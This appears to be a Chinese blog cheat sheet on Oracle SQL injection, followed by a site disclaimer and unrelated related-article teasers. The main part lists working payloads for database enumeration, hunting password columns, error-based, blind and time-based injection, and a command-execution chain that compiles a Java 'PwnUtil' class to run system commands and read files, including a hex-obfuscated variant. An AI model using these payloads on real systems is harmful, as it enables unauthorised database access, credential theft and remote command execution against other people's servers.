WEB渗透Web突破篇-SQL注入(Oracle)

版本

SELECT user FROM dual UNION SELECT * FROM v$version

数据库名

SELECT global_name FROM global_name;
SELECT name FROM V$DATABASE;
SELECT instance_name FROM V$INSTANCE;
SELECT SYS.DATABASE_NAME FROM DUAL;

列库

SELECT DISTINCT owner FROM all_tables;

列表

SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';

列字段

SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';

基于报错注入

描述执行
不合法的HTTP请求SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual
CTXSYS.DRITHSX.SNSELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual
不合法的 XPathSELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual
不合法的 XMLSELECT to_char(dbms_xmlgen.getxml('select "'
不合法的 XMLSELECT rtrim(extract(xmlagg(xmlelement("s", username
SQL ErrorSELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1))

盲注

描述执行
版本 12.2SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%';
Subselect 启用SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual)
表log_table存在SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table);
字段信息存在于 log_tableSELEC COUNT(*) FROM user_tab_cols WHERE column_name = 'MESSAGE' AND table_name = 'LOG_TABLE';
第一个字符为tSELEC message FROM log_table WHERE rownum=1 AND message LIKE 't%';

时间注入

AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])                 注释符   -- /**/

命令执行

/* 创建Java类 */
BEGIN
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
END;
/BEGIN
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
END;
//* 执行系统命令 */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
或(十六进制)
/* 创建Java类 */
SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d''));
EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual/* 执行系统命令 */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/50854.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

rag输出了幻觉怎么办

首先,幻觉也分类型。 一个是事实性幻觉,就是LLM凭借自身能力回答问题,但是这个回答是编的,也可能有正确答案但是LLM输出错了。总之这是LLM自身原因。 另一个是忠实性幻觉,就是你要求LLM根据你给的材料给出答案&#xf…

Scikit-learn提供了哪些机器学习算法以及如何使用Scikit-learn进行模型训练和评估

Scikit-learn库的使用 一、Scikit-learn提供的机器学习算法 Scikit-learn(通常简称为sklearn)是一个广泛使用的Python机器学习库,它提供了多种用于数据挖掘和数据分析的算法。Scikit-learn支持的机器学习算法可以大致分为以下几类&#xff…

[240726] Mistral AI 发布新一代旗舰模型 | Node.js 合并 TypeScript 文件执行提案

目录 Mistral AI 发布新一代旗舰模型:Mistral Large 2Node.js 合并 TypeScript 文件执行提案:--experimental-strip-types Mistral AI 发布新一代旗舰模型:Mistral Large 2 Mistral AI 宣布推出新一代旗舰模型 Mistral Large 2,该…

算法-----递归~~搜索~~回溯(宏观认识)

目录 1.什么是递归 1.1二叉树的遍历 1.2快速排序 1.3归并排序 2.为什么会用到递归 3.如何理解递归 4.如何写好一个递归 5.什么是搜索 5.1深度(dfs)优先遍历&优先搜索 5.2宽度(bfs)优先遍历&优先搜索 6.回溯 1.什…

Temu测评自养号如何做?三分钟带你入门!

环境系统 现在市场上很多的系统都是现成的或软件包,没有解决风控的能力,如果有需要建议大家自己学习一套技术,把技术掌握在自己手里,这样不会有依赖性 手机端环境:越狱后的ios指定版本手机可以一键新机的系统(参数调试)独享的家…

梧桐数据库:子查询优化技术

在数据库技术中,子查询是一个强大的工具,但不加优化的子查询可能会导致性能问题。优化子查询可以显著提升查询效率。以下是一些常见的子查询优化技术: 1. 使用连接(JOIN)替代子查询 1.1 基本原理 很多情况下&#x…

【NLP自然语言处理】为什么说BERT是bidirectional

首先,来看一下Transformer架构图: 我们知道,Bert设计时主要采用的是Transformer编码器部分,要论述Bert为啥是双向的,我想从编码器和解码器的注意力机制来阐述。 在看这篇博客前,需要对Transformer有一定的…

[C++] vector入门迭代器失效问题详解

文章目录 vector介绍**vector iterator 的使用** vector迭代器失效问题由扩容或改变数据引起的迭代器失效reserve的实现(野指针)insert实现(迭代器位置意义改变)insert修改后失效的迭代器 it迭代器失效 erase后的问题总结&#xf…

nextjs当后端使-读取excel文件

目前nextjs有种php的感觉,现在的需求是读取excel文件,入数据库,拆分出读取excel的代码如下: import { NextRequest } from "next/server"; import { join } from "path"; import { readFile } from "fs…

MyBatis-Plus的基本使用(一)

目录 前言 特性 MyBatis-Plus入门案例 常用注解 小结 前言 这篇文章主要来学习MyBatis-Plus这个非常强大的框架. 在学习MyBatis-Plus之前,需要有MyBatis的学习基础.因为MyBatis -Plus 是一个 MyBatis 的增强工具,在 MyBatis 的基础上只做增强不做改变&#x…

spring —— 全注解实现事务管理器

全注解实现事务管理,就是取消 spring-config.xml 文件,而将配置信息在配置类中实现。 配置类: package com.spring.book;import com.alibaba.druid.pool.DruidDataSource; import org.springframework.context.annotation.Bean; import org…

中英双语简单介绍:字典学习(Dictionary Learning)

中文版 字典学习(Dictionary Learning)是一种机器学习技术,用于从数据中学习一组基元(称为“字典”),以便能够用这些基元来表示数据。该方法特别适用于稀疏表示(Sparse Representation&#xf…

Prometheus通过注册中心nacos、Eureka 实现服务注册自动发现监控

Prometheus通过注册中心nacos、Eureka 实现服务注册自动发现监控 Prometheus通过Eureka 实现服务注册自动发现监控 使用 Prometheus 中的 Eureka (Service Discover)SD 来使用 Eureka REST API 来查询抓取目标。 Prometheus 将定期检查 REST 端点并为每个应用程序实例创建一个…

环境激活的艺术:Conda激活命令全解析

🌐 环境激活的艺术:Conda激活命令全解析 Conda作为Python编程生态中一个不可或缺的包管理器和环境管理器,为开发者提供了一个强大的工具来创建、管理并隔离不同的工作环境。本文将详细解释如何在Conda中使用conda activate命令来激活环境&am…

【Java Bean 映射器】通过 MapStruct 和 BeanUtils 拷贝对象的区别

目录 👋前言 👀一、环境准备 🌱二、拷贝工具使用 2.1 BeanUtils 使用 2.2 MapStruct 使用 💞️三、对比 📫四、章末 👋前言 小伙伴们大家好,最近在一些技术文章中看到了开发时经常接触的对…

面向对象·回顾;万类之祖object;抽象类Abstract。

回顾面向对象 类与对象 类--------(instance实例化对象)-------->对象 类图 调出你public方法–接口 访问控制符 常用private,public。 封装 可见性本类包不同包private✓✕✕不写dafalt(默认)✓✓✕protected✓✓继承✓public✓✓✓…

【工具类】Excel转图片

import com.spire.xls.Workbook; import com.spire.xls.Worksheet; public static void transExcelToImg(String excelPath, String imgPath){//加载Excel工作表Workbook wb new Workbook();wb.loadFromFile(excelPath);//获取工作表Worksheet sheet wb.getWorksheets().get(…

ChatGPT:为什么说 NoSQL 数据库天生支持分布式,数据冗余和数据分片等特性?

ChatGPT:为什么说 NoSQL 数据库天生支持分布式,数据冗余和数据分片等特性? NoSQL 数据库天生支持分布式、数据冗余和数据分片等特性,旨在提供可扩展的高可用高性能数据存储解决方案,有以下几个原因: 1. 分…

【计算机网络】RIP路由协议实验

一:实验目的 1:掌握在路由器上配置RIPv2。 二:实验仪器设备及软件 硬件:RCMS交换机、网线、内网网卡接口、Windows 2019操作系统的计算机等。具体为:三层交换机1台、路由器2台。 软件:wireshark软件、记…

软件架构文档:综合指南

软件开发团队为软件架构做出选择背后的原因常常被迷失。新团队成员常常对为什么开发人员选择 Ruby 或 React 这样的编程语言,或者为什么他们在一个平台而不是另一个平台上托管软件感到困惑。 出于这个目的以及更多目的,负责软件架构开发的团队可能希望记…